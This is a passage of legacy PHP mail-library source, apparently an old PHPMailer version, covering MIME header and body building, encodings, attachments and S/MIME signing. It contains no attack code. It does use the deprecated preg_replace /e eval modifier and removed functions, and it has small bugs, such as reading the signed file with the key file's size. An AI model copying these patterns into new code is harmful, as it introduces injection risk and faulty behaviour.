2238 $foundSplitPos = false;
2239 $lookBack = 3;
2240 while (!$foundSplitPos) {
2241 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2242 $encodedCharPos = strpos($lastChunk, "=");
2243 if ($encodedCharPos !== false) {
2244 // Found start of encoded character byte within $lookBack block.
2245 // Check the encoded byte value (the 2 chars after the '=')
2246 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2247 $dec = hexdec($hex);
2248 if ($dec < 128) { // Single byte character.
2249 // If the encoded char was found at pos 0, it will fit
2250 // otherwise reduce maxLength to start of the encoded char
2251 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2252 $maxLength - ($lookBack - $encodedCharPos);
2253 $foundSplitPos = true;
2254 } elseif ($dec >= 192) { // First byte of a multi byte character
2255 // Reduce maxLength to split at start of character
2256 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2257 $foundSplitPos = true;
2258 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2259 $lookBack += 3;
2260 }
2261 } else {
2262 // No encoded character found
2263 $foundSplitPos = true;
2264 }
2265 }
2266 return $maxLength;
2267 }
2268
2269 /**
2270 * Set the body wrapping.
2271 * @access private
2272 * @return void
2273 */
2274 function SetWordWrap() {
2275 if($this->WordWrap < 1) {
2276 return;
2277 }
2278
2279 switch($this->message_type) {
2280 case 'alt':
2281 /* fall through */
2282 case 'alt_attachments':
2283 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2284 break;
2285 default:
2286 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2287 break;
2288 }
2289 }
2290
2291 /**
2292 * Assembles message header.
2293 * @access private
2294 * @return string
2295 */
2296 function CreateHeader() {
2297 $result = '';
2298
2299 /* Set the boundaries */
2300 $uniq_id = md5(uniqid(time()));
2301 $this->boundary[1] = 'b1_' . $uniq_id;
2302 $this->boundary[2] = 'b2_' . $uniq_id;
2303
2304 $result .= $this->HeaderLine('Date', $this->RFCDate());
2305 if($this->Sender == '') {
2306 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2307 } else {
2308 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2309 }
2310
2311 /* To be created automatically by mail() */
2312 if($this->Mailer != 'mail') {
2313 if(count($this->to) > 0) {
2314 $result .= $this->AddrAppend('To', $this->to);
2315 } elseif (count($this->cc) == 0) {
2316 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2317 }
2318 if(count($this->cc) > 0) {
2319 $result .= $this->AddrAppend('Cc', $this->cc);
2320 }
2321 }
2322
2323 $from = array();
2324 $from[0][0] = trim($this->From);
2325 $from[0][1] = $this->FromName;
2326 $result .= $this->AddrAppend('From', $from);
2327
2328 /* sendmail and mail() extract Cc from the header before sending */
2329 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2330 $result .= $this->AddrAppend('Cc', $this->cc);
2331 }
2332
2333 /* sendmail and mail() extract Bcc from the header before sending */
2334 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2335 $result .= $this->AddrAppend('Bcc', $this->bcc);
2336 }
2337
2338 if(count($this->ReplyTo) > 0) {
2339 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2340 }
2341
2342 /* mail() sets the subject itself */
2343 if($this->Mailer != 'mail') {
2344 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2345 }
2346
2347 if($this->MessageID != '') {
2348 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2349 } else {
2350 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2351 }
2352 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2353 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2354
2355 if($this->ConfirmReadingTo != '') {
2356 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2357 }
2358
2359 // Add custom headers
2360 for($index = 0; $index < count($this->CustomHeader); $index++) {
2361 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2362 }
2363 if (!$this->sign_key_file) {
2364 $result .= $this->HeaderLine('MIME-Version', '1.0');
2365 $result .= $this->GetMailMIME();
2366 }
2367
2368 return $result;
2369 }
2370
2371 /**
2372 * Returns the message MIME.
2373 * @access private
2374 * @return string
2375 */
2376 function GetMailMIME() {
2377 $result = '';
2378 switch($this->message_type) {
2379 case 'plain':
2380 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2381 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2382 break;
2383 case 'attachments':
2384 /* fall through */
2385 case 'alt_attachments':
2386 if($this->InlineImageExists()){
2387 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2388 } else {
2389 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2390 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2391 }
2392 break;
2393 case 'alt':
2394 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2395 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2396 break;
2397 }
2398
2399 if($this->Mailer != 'mail') {
2400 $result .= $this->LE.$this->LE;
2401 }
2402
2403 return $result;
2404 }
2405
2406 /**
2407 * Assembles the message body. Returns an empty string on failure.
2408 * @access private
2409 * @return string
2410 */
2411 function CreateBody() {
2412 $result = '';
2413 if ($this->sign_key_file) {
2414 $result .= $this->GetMailMIME();
2415 }
2416
2417 $this->SetWordWrap();
2418
2419 switch($this->message_type) {
2420 case 'alt':
2421 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2422 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2423 $result .= $this->LE.$this->LE;
2424 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2425 $result .= $this->EncodeString($this->Body, $this->Encoding);
2426 $result .= $this->LE.$this->LE;
2427 $result .= $this->EndBoundary($this->boundary[1]);
2428 break;
2429 case 'plain':
2430 $result .= $this->EncodeString($this->Body, $this->Encoding);
2431 break;
2432 case 'attachments':
2433 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2434 $result .= $this->EncodeString($this->Body, $this->Encoding);
2435 $result .= $this->LE;
2436 $result .= $this->AttachAll();
2437 break;
2438 case 'alt_attachments':
2439 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2440 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2441 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2442 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2443 $result .= $this->LE.$this->LE;
2444 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2445 $result .= $this->EncodeString($this->Body, $this->Encoding);
2446 $result .= $this->LE.$this->LE;
2447 $result .= $this->EndBoundary($this->boundary[2]);
2448 $result .= $this->AttachAll();
2449 break;
2450 }
2451
2452 if($this->IsError()) {
2453 $result = '';
2454 } else if ($this->sign_key_file) {
2455 $file = tempnam("", "mail");
2456 $fp = fopen($file, "w");
2457 fwrite($fp, $result);
2458 fclose($fp);
2459 $signed = tempnam("", "signed");
2460
2461 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2462 $fp = fopen($signed, "r");
2463 $result = fread($fp, filesize($this->sign_key_file));
2464 fclose($fp);
2465 } else {
2466 $this->SetError($this->Lang("signing").openssl_error_string());
2467 $result = '';
2468 }
2469
2470 unlink($file);
2471 unlink($signed);
2472 }
2473
2474 return $result;
2475 }
2476
2477 /**
2478 * Returns the start of a message boundary.
2479 * @access private
2480 */
2481 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2482 $result = '';
2483 if($charSet == '') {
2484 $charSet = $this->CharSet;
2485 }
2486 if($contentType == '') {
2487 $contentType = $this->ContentType;
2488 }
2489 if($encoding == '') {
2490 $encoding = $this->Encoding;
2491 }
2492 $result .= $this->TextLine('--' . $boundary);
2493 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2494 $result .= $this->LE;
2495 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2496 $result .= $this->LE;
2497
2498 return $result;
2499 }
2500
2501 /**
2502 * Returns the end of a message boundary.
2503 * @access private
2504 */
2505 function EndBoundary($boundary) {
2506 return $this->LE . '--' . $boundary . '--' . $this->LE;
2507 }
2508
2509 /**
2510 * Sets the message type.
2511 * @access private
2512 * @return void
2513 */
2514 function SetMessageType() {
2515 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2516 $this->message_type = 'plain';
2517 } else {
2518 if(count($this->attachment) > 0) {
2519 $this->message_type = 'attachments';
2520 }
2521 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2522 $this->message_type = 'alt';
2523 }
2524 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2525 $this->message_type = 'alt_attachments';
2526 }
2527 }
2528 }
2529
2530 /* Returns a formatted header line.
2531 * @access private
2532 * @return string
2533 */
2534 function HeaderLine($name, $value) {
2535 return $name . ': ' . $value . $this->LE;
2536 }
2537
2538 /**
2539 * Returns a formatted mail line.
2540 * @access private
2541 * @return string
2542 */
2543 function TextLine($value) {
2544 return $value . $this->LE;
2545 }
2546
2547 /////////////////////////////////////////////////
2548 // CLASS METHODS, ATTACHMENTS
2549 /////////////////////////////////////////////////
2550
2551 /**
2552 * Adds an attachment from a path on the filesystem.
2553 * Returns false if the file could not be found
2554 * or accessed.
2555 * @param string $path Path to the attachment.
2556 * @param string $name Overrides the attachment name.
2557 * @param string $encoding File encoding (see $Encoding).
2558 * @param string $type File extension (MIME) type.
2559 * @return bool
2560 */
2561 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2562 if(!@is_file($path)) {
2563 $this->SetError($this->Lang('file_access') . $path);
2564 return false;
2565 }
2566
2567 $filename = basename($path);
2568 if($name == '') {
2569 $name = $filename;
2570 }
2571
2572 $cur = count($this->attachment);
2573 $this->attachment[$cur][0] = $path;
2574 $this->attachment[$cur][1] = $filename;
2575 $this->attachment[$cur][2] = $name;
2576 $this->attachment[$cur][3] = $encoding;
2577 $this->attachment[$cur][4] = $type;
2578 $this->attachment[$cur][5] = false; // isStringAttachment
2579 $this->attachment[$cur][6] = 'attachment';
2580 $this->attachment[$cur][7] = 0;
2581
2582 return true;
2583 }
2584
2585 /**
2586 * Attaches all fs, string, and binary attachments to the message.
2587 * Returns an empty string on failure.
2588 * @access private
2589 * @return string
2590 */
2591 function AttachAll() {
2592 /* Return text of body */
2593 $mime = array();
2594
2595 /* Add all attachments */
2596 for($i = 0; $i < count($this->attachment); $i++) {
2597 /* Check for string attachment */
2598 $bString = $this->attachment[$i][5];
2599 if ($bString) {
2600 $string = $this->attachment[$i][0];
2601 } else {
2602 $path = $this->attachment[$i][0];
2603 }
2604
2605 $filename = $this->attachment[$i][1];
2606 $name = $this->attachment[$i][2];
2607 $encoding = $this->attachment[$i][3];
2608 $type = $this->attachment[$i][4];
2609 $disposition = $this->attachment[$i][6];
2610 $cid = $this->attachment[$i][7];
2611
2612 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2613 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2614 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2615
2616 if($disposition == 'inline') {
2617 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2618 }
2619
2620 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2621
2622 /* Encode as string attachment */
2623 if($bString) {
2624 $mime[] = $this->EncodeString($string, $encoding);
2625 if($this->IsError()) {
2626 return '';
2627 }
2628 $mime[] = $this->LE.$this->LE;
2629 } else {
2630 $mime[] = $this->EncodeFile($path, $encoding);
2631 if($this->IsError()) {
2632 return '';
2633 }
2634 $mime[] = $this->LE.$this->LE;
2635 }
2636 }
2637
2638 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2639
2640 return join('', $mime);
2641 }
2642
2643 /**
2644 * Encodes attachment in requested format. Returns an
2645 * empty string on failure.
2646 * @access private
2647 * @return string
2648 */
2649 function EncodeFile ($path, $encoding = 'base64') {
2650 if(!@$fd = fopen($path, 'rb')) {
2651 $this->SetError($this->Lang('file_open') . $path);
2652 return '';
2653 }
2654 $magic_quotes = get_magic_quotes_runtime();
2655 set_magic_quotes_runtime(0);
2656 $file_buffer = fread($fd, filesize($path));
2657 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2658 fclose($fd);
2659 set_magic_quotes_runtime($magic_quotes);
2660
2661 return $file_buffer;
2662 }
2663
2664 /**
2665 * Encodes string to requested format. Returns an
2666 * empty string on failure.
2667 * @access private
2668 * @return string
2669 */
2670 function EncodeString ($str, $encoding = 'base64') {
2671 $encoded = '';
2672 switch(strtolower($encoding)) {
2673 case 'base64':
2674 /* chunk_split is found in PHP >= 3.0.6 */
2675 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2676 break;
2677 case '7bit':
2678 case '8bit':
2679 $encoded = $this->FixEOL($str);
2680 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2681 $encoded .= $this->LE;
2682 break;
2683 case 'binary':
2684 $encoded = $str;
2685 break;
2686 case 'quoted-printable':
2687 $encoded = $this->EncodeQP($str);
2688 break;
2689 default:
2690 $this->SetError($this->Lang('encoding') . $encoding);
2691 break;
2692 }
2693 return $encoded;
2694 }
2695
2696 /**
2697 * Encode a header string to best of Q, B, quoted or none.
2698 * @access private
2699 * @return string
2700 */
2701 function EncodeHeader ($str, $position = 'text') {
2702 $x = 0;
2703
2704 switch (strtolower($position)) {
2705 case 'phrase':
2706 if (!preg_match('/[\200-\377]/', $str)) {
2707 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2708 $encoded = addcslashes($str, "\0..\37\177\\\"");
2709 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2710 return ($encoded);
2711 } else {
2712 return ("\"$encoded\"");
2713 }
2714 }
2715 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2716 break;
2717 case 'comment':
2718 $x = preg_match_all('/[()"]/', $str, $matches);
2719 /* Fall-through */
2720 case 'text':
2721 default:
2722 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2723 break;
2724 }
2725
2726 if ($x == 0) {
2727 return ($str);
2728 }
2729
2730 $maxlen = 75 - 7 - strlen($this->CharSet);
2731 /* Try to select the encoding which should produce the shortest output */
2732 if (strlen($str)/3 < $x) {
2733 $encoding = 'B';
2734 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2735 // Use a custom function which correctly encodes and wraps long
2736 // multibyte strings without breaking lines within a character
2737 $encoded = $this->Base64EncodeWrapMB($str);
2738 } else {
2739 $encoded = base64_encode($str);
2740 $maxlen -= $maxlen % 4;
2741 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2742 }
2743 } else {
2744 $encoding = 'Q';
2745 $encoded = $this->EncodeQ($str, $position);
2746 $encoded = $this->WrapText($encoded, $maxlen, true);
2747 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2748 }
2749
2750 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2751 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2752
2753 return $encoded;
2754 }
2755
2756 /**
2757 * Checks if a string contains multibyte characters.
2758 * @access private
2759 * @param string $str multi-byte text to wrap encode
2760 * @return bool
2761 */
2762 function HasMultiBytes($str) {
2763 if (function_exists('mb_strlen')) {
2764 return (strlen($str) > mb_strlen($str, $this->CharSet));
2765 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2766 return False;
2767 }
2768 }
2769
2770 /**
2771 * Correctly encodes and wraps long multibyte strings for mail headers
2772 * without breaking lines within a character.
2773 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2774 * @access private
2775 * @param string $str multi-byte text to wrap encode
2776 * @return string
2777 */
2778 function Base64EncodeWrapMB($str) {
2779 $start = "=?".$this->CharSet."?B?";
2780 $end = "?=";
2781 $encoded = "";
2782
2783 $mb_length = mb_strlen($str, $this->CharSet);
2784 // Each line must have length <= 75, including $start and $end
2785 $length = 75 - strlen($start) - strlen($end);
2786 // Average multi-byte ratio
2787 $ratio = $mb_length / strlen($str);
2788 // Base64 has a 4:3 ratio
2789 $offset = $avgLength = floor($length * $ratio * .75);
2790
2791 for ($i = 0; $i < $mb_length; $i += $offset) {
2792 $lookBack = 0;
2793
2794 do {
2795 $offset = $avgLength - $lookBack;
2796 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2797 $chunk = base64_encode($chunk);
2798 $lookBack++;
2799 }
2800 while (strlen($chunk) > $length);
2801
2802 $encoded .= $chunk . $this->LE;
2803 }
2804
2805 // Chomp the last linefeed
2806 $encoded = substr($encoded, 0, -strlen($this->LE));
2807 return $encoded;
2808 }
2809
2810 /**
2811 * Encode string to quoted-printable.
2812 * @access private
2813 * @return string
2814 */
2815 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2816 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2817 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2818 $eol = "\r\n";
2819 $escape = '=';
2820 $output = '';
2821 while( list(, $line) = each($lines) ) {
2822 $linlen = strlen($line);
2823 $newline = '';
2824 for($i = 0; $i < $linlen; $i++) {
2825 $c = substr( $line, $i, 1 );
2826 $dec = ord( $c );
2827 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2828 $c = '=2E';
2829 }
2830 if ( $dec == 32 ) {
2831 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2832 $c = '=20';
2833 } else if ( $space_conv ) {
2834 $c = '=20';
2835 }
2836 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2837 $h2 = floor($dec/16);
2838 $h1 = floor($dec%16);
2839 $c = $escape.$hex[$h2].$hex[$h1];
2840 }
2841 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2842 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2843 $newline = '';
2844 // check if newline first character will be point or not
2845 if ( $dec == 46 ) {
2846 $c = '=2E';
2847 }
2848 }
2849 $newline .= $c;
2850 } // end of for
2851 $output .= $newline.$eol;
2852 } // end of while
2853 return trim($output);
2854 }
2855
2856 /**
2857 * Encode string to q encoding.
2858 * @access private
2859 * @return string
2860 */
2861 function EncodeQ ($str, $position = 'text') {
2862 /* There should not be any EOL in the string */
2863 $encoded = preg_replace("[\r\n]", '', $str);
2864
2865 switch (strtolower($position)) {
2866 case 'phrase':
2867 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2868 break;
2869 case 'comment':
2870 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2871 case 'text':
2872 default:
2873 /* Replace every high ascii, control =, ? and _ characters */
2874 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2875 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2876 break;
2877 }
2878
2879 /* Replace every spaces to _ (more readable than =20) */
2880 $encoded = str_replace(' ', '_', $encoded);
2881
2882 return $encoded;
2883 }
2884
2885 /**
2886 * Adds a string or binary attachment (non-filesystem) to the list.
2887 * This method can be used to attach ascii or binary data,
2888 * such as a BLOB record from a database.
2889 * @param string $string String attachment data.
2890 * @param string $filename Name of the attachment.
2891 * @param string $encoding File encoding (see $Encoding).
2892 * @param string $type File extension (MIME) type.
2893 * @return void
2894 */
2895 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2896 /* Append to $attachment array */
2897 $cur = count($this->attachment);
2898 $this->attachment[$cur][0] = $string;
2899 $this->attachment[$cur][1] = $filename;
2900 $this->attachment[$cur][2] = $filename;
2901 $this->attachment[$cur][3] = $encoding;
2902 $this->attachment[$cur][4] = $type;
2903 $this->attachment[$cur][5] = true; // isString
2904 $this->attachment[$cur][6] = 'attachment';
2905 $this->attachment[$cur][7] = 0;
2906 }
2907
2908 /**
2909 * Adds an embedded attachment. This can include images, sounds, and
2910 * just about any other document. Make sure to set the $type to an
2911 * image type. For JPEG images use "image/jpeg" and for GIF images
2912 * use "image/gif".
2913 * @param string $path Path to the attachment.
2914 * @param string $cid Content ID of the attachment. Use this to identify
2915 * the Id for accessing the image in an HTML form.
2916 * @param string $name Overrides the attachment name.
2917 * @param string $encoding File encoding (see $Encoding).
2918 * @param string $type File extension (MIME) type.
2919 * @return bool
2920 */
2921 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2922
2923 if(!@is_file($path)) {
2924 $this->SetError($this->Lang('file_access') . $path);
2925 return false;
2926 }
2927
2928 $filename = basename($path);
2929 if($name == '') {
2930 $name = $filename;
2931 }
2932
2933 /* Append to $attachment array */
2934 $cur = count($this->attachment);
2935 $this->attachment[$cur][0] = $path;
2936 $this->attachment[$cur][1] = $filename;
2937 $this->attachment[$cur][2] = $name;
2938 $this->attachment[$cur][3] = $encoding;
2939 $this->attachment[$cur][4] = $type;
2940 $this->attachment[$cur][5] = false;
2941 $this->attachment[$cur][6] = 'inline';
2942 $this->attachment[$cur][7] = $cid;
2943
2944 return true;
2945 }
2946
2947 /**
2948 * Returns true if an inline attachment is present.
2949 * @access private
2950 * @return bool
2951 */
2952 function InlineImageExists() {
2953 $result = false;
2954 for($i = 0; $i < count($this->attachment); $i++) {
2955 if($this->attachment[$i][6] == 'inline') {
2956 $result = true;
2957 break;
2958 }
2959 }
2960
2961 return $result;
2962 }
2963
2964 /////////////////////////////////////////////////
2965 // CLASS METHODS, MESSAGE RESET
2966 /////////////////////////////////////////////////
2967
2968 /**
2969 * Clears all recipients assigned in the TO array. Returns void.
2970 * @return void
2971 */
2972 function ClearAddresses() {
2973 $this->to = array();
2974 }
2975
2976 /**
2977 * Clears all recipients assigned in the CC array. Returns void.
2978 * @return void
2979 */
2980 function ClearCCs() {
2981 $this->cc = array();
2982 }
2983
2984 /**
2985 * Clears all recipients assigned in the BCC array. Returns void.
2986 * @return void
2987 */
2988 function ClearBCCs() {
2989 $this->bcc = array();
2990 }
2991
2992 /**
2993 * Clears all recipients assigned in the ReplyTo array. Returns void.
2994 * @return void
2995 */
2996 function ClearReplyTos() {
2997 $this->ReplyTo = array();
2998 }
2999
3000 /**
3001 * Clears all recipients assigned in the TO, CC and BCC
3002 * array. Returns void.
3003 * @return void
3004 */
3005 function ClearAllRecipients() {
3006 $this->to = array();
3007 $this->cc = array();
3008 $this->bcc = array();
3009 }
3010
3011 /**
3012 * Clears all previously set filesystem, string, and binary
3013 * attachments. Returns void.
3014 * @return void
3015 */
3016 function ClearAttachments() {
3017 $this->attachment = array();
3018 }
3019
3020 /**
3021 * Clears all custom headers. Returns void.
3022 * @return void
3023 */
3024 function ClearCustomHeaders() {
3025 $this->CustomHeader = array();
3026 }
3027
3028 /////////////////////////////////////////////////
3029 // CLASS METHODS, MISCELLANEOUS
3030 /////////////////////////////////////////////////
3031
3032 /**
3033 * Adds the error message to the error container.
3034 * Returns void.
3035 * @access private
3036 * @return void
3037 */
3038 function SetError($msg) {
3039 $this->error_count++;
3040 $this->ErrorInfo = $msg;
3041 }
3042
3043 /**
3044 * Returns the proper RFC 822 formatted date.
3045 * @access private
3046 * @return string
3047 */
3048 function RFCDate() {
3049 $tz = date('Z');
3050 $tzs = ($tz < 0) ? '-' : '+';
3051 $tz = abs($tz);
3052 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3053 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3054
3055 return $result;
3056 }
3057
3058 /**
3059 * Returns the appropriate server variable. Should work with both
3060 * PHP 4.1.0+ as well as older versions. Returns an empty string
3061 * if nothing is found.
3062 * @access private
3063 * @return mixed
3064 */
3065 function ServerVar($varName) {
3066 global $HTTP_SERVER_VARS;
3067 global $HTTP_ENV_VARS;
3068
3069 if(!isset($_SERVER)) {
3070 $_SERVER = $HTTP_SERVER_VARS;
3071 if(!isset($_SERVER['REMOTE_ADDR'])) {
3072 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3073 }
3074 }
3075
3076 if(isset($_SERVER[$varName])) {
3077 return $_SERVER[$varName];
3078 } else {
3079 return '';
3080 }
3081 }
3082
3083 /**
3084 * Returns the server hostname or 'localhost.localdomain' if unknown.
3085 * @access private
3086 * @return string
3087 */
3088 function ServerHostname() {
3089 if ($this->Hostname != '') {
3090 $result = $this->Hostname;
3091 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3092 $result = $this->ServerVar('SERVER_NAME');
3093 } else {
3094 $result = 'localhost.localdomain';
3095 }
3096
3097 return $result;
3098 }
3099
3100 /**
3101 * Returns a message in the appropriate language.
3102 * @access private
3103 * @return string
3104 */
3105 function Lang($key) {
3106 if(count($this->language) < 1) {
3107 $this->SetLanguage('en'); // set the default language
3108 }
3109
3110 if(isset($this->language[$key])) {
3111 return $this->language[$key];
3112 } else {
3113 return 'Language string failed to load: ' . $key;
3114 }
3115 }
3116
3117 /**
3118 * Returns true if an error occurred.
3119 * @return bool
3120 */
3121 function IsError() {
3122 return ($this->error_count > 0);
3123 }
3124
3125 /**
3126 * Changes every end of line from CR or LF to CRLF.
3127 * @access private
3128 * @return string
3129 */
3130 function FixEOL($str) {
3131 $str = str_replace("\r\n", "\n", $str);
3132 $str = str_replace("\r", "\n", $str);
3133 $str = str_replace("\n", $this->LE, $str);
3134 return $str;
3135 }
3136
3137 /**
3138 * Adds a custom header.
3139 * @return void
3140 */
3141 function AddCustomHeader($custom_header) {
3142 $this->CustomHeader[] = explode(':', $custom_header, 2);
3143 }
3144
3145 /**
3146 * Evaluates the message and returns modifications for inline images and backgrounds
3147 * @access public
3148 * @return $message
3149 */
3150 function MsgHTML($message,$basedir='') {
3151 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3152 if(isset($images[2])) {
3153 foreach($images[2] as $i => $url) {
3154 // do not change urls for absolute images (thanks to corvuscorax)
3155 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3156 $filename = basename($url);
3157 $directory = dirname($url);
3158 ($directory == '.')?$directory='':'';
3159 $cid = 'cid:' . md5($filename);
3160 $fileParts = split("\.", $filename);
3161 $ext = $fileParts[1];
3162 $mimeType = $this->_mime_types($ext);
3163 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3164 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3165 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3166 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3167 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3168 }
3169 }
3170 }
3171 }
3172 $this->IsHTML(true);
3173 $this->Body = $message;
3174 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3175 if ( !empty($textMsg) && empty($this->AltBody) ) {
3176 $this->AltBody = $textMsg;
3177 }
3178 if ( empty($this->AltBody) ) {
3179 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3180 }
3181 }
3182
3183 /**
3184 * Gets the mime type of the embedded or inline image
3185 * @access private
3186 * @return mime type of ext
3187 */
3188 function _mime_types($ext = '') {
3189 $mimes = array(
3190 'hqx' => 'application/mac-binhex40',
3191 'cpt' => 'application/mac-compactpro',
3192 'doc' => 'application/msword',
3193 'bin' => 'application/macbinary',
3194 'dms' => 'application/octet-stream',
3195 'lha' => 'application/octet-stream',
3196 'lzh' => 'application/octet-stream',
3197 'exe' => 'application/octet-stream',
3198 'class' => 'application/octet-stream',
3199 'psd' => 'application/octet-stream',
3200 'so' => 'application/octet-stream',
3201 'sea' => 'application/octet-stream',
3202 'dll' => 'application/octet-stream',
3203 'oda' => 'application/oda',
3204 'pdf' => 'application/pdf',
3205 'ai' => 'application/postscript',
3206 'eps' => 'application/postscript',
3207 'ps' => 'application/postscript',
3208 'smi' => 'application/smil',
3209 'smil' => 'application/smil',
3210 'mif' => 'application/vnd.mif',
3211 'xls' => 'application/vnd.ms-excel',
3212 'ppt' => 'application/vnd.ms-powerpoint',
3213 'wbxml' => 'application/vnd.wap.wbxml',
3214 'wmlc' => 'application/vnd.wap.wmlc',
3215 'dcr' => 'application/x-director',
3216 'dir' => 'application/x-director',
3217 'dxr' => 'application/x-director',
3218 'dvi' => 'application/x-dvi',
3219 'gtar' => 'application/x-gtar',
3220 'php' => 'application/x-httpd-php',
3221 'php4' => 'application/x-httpd-php',
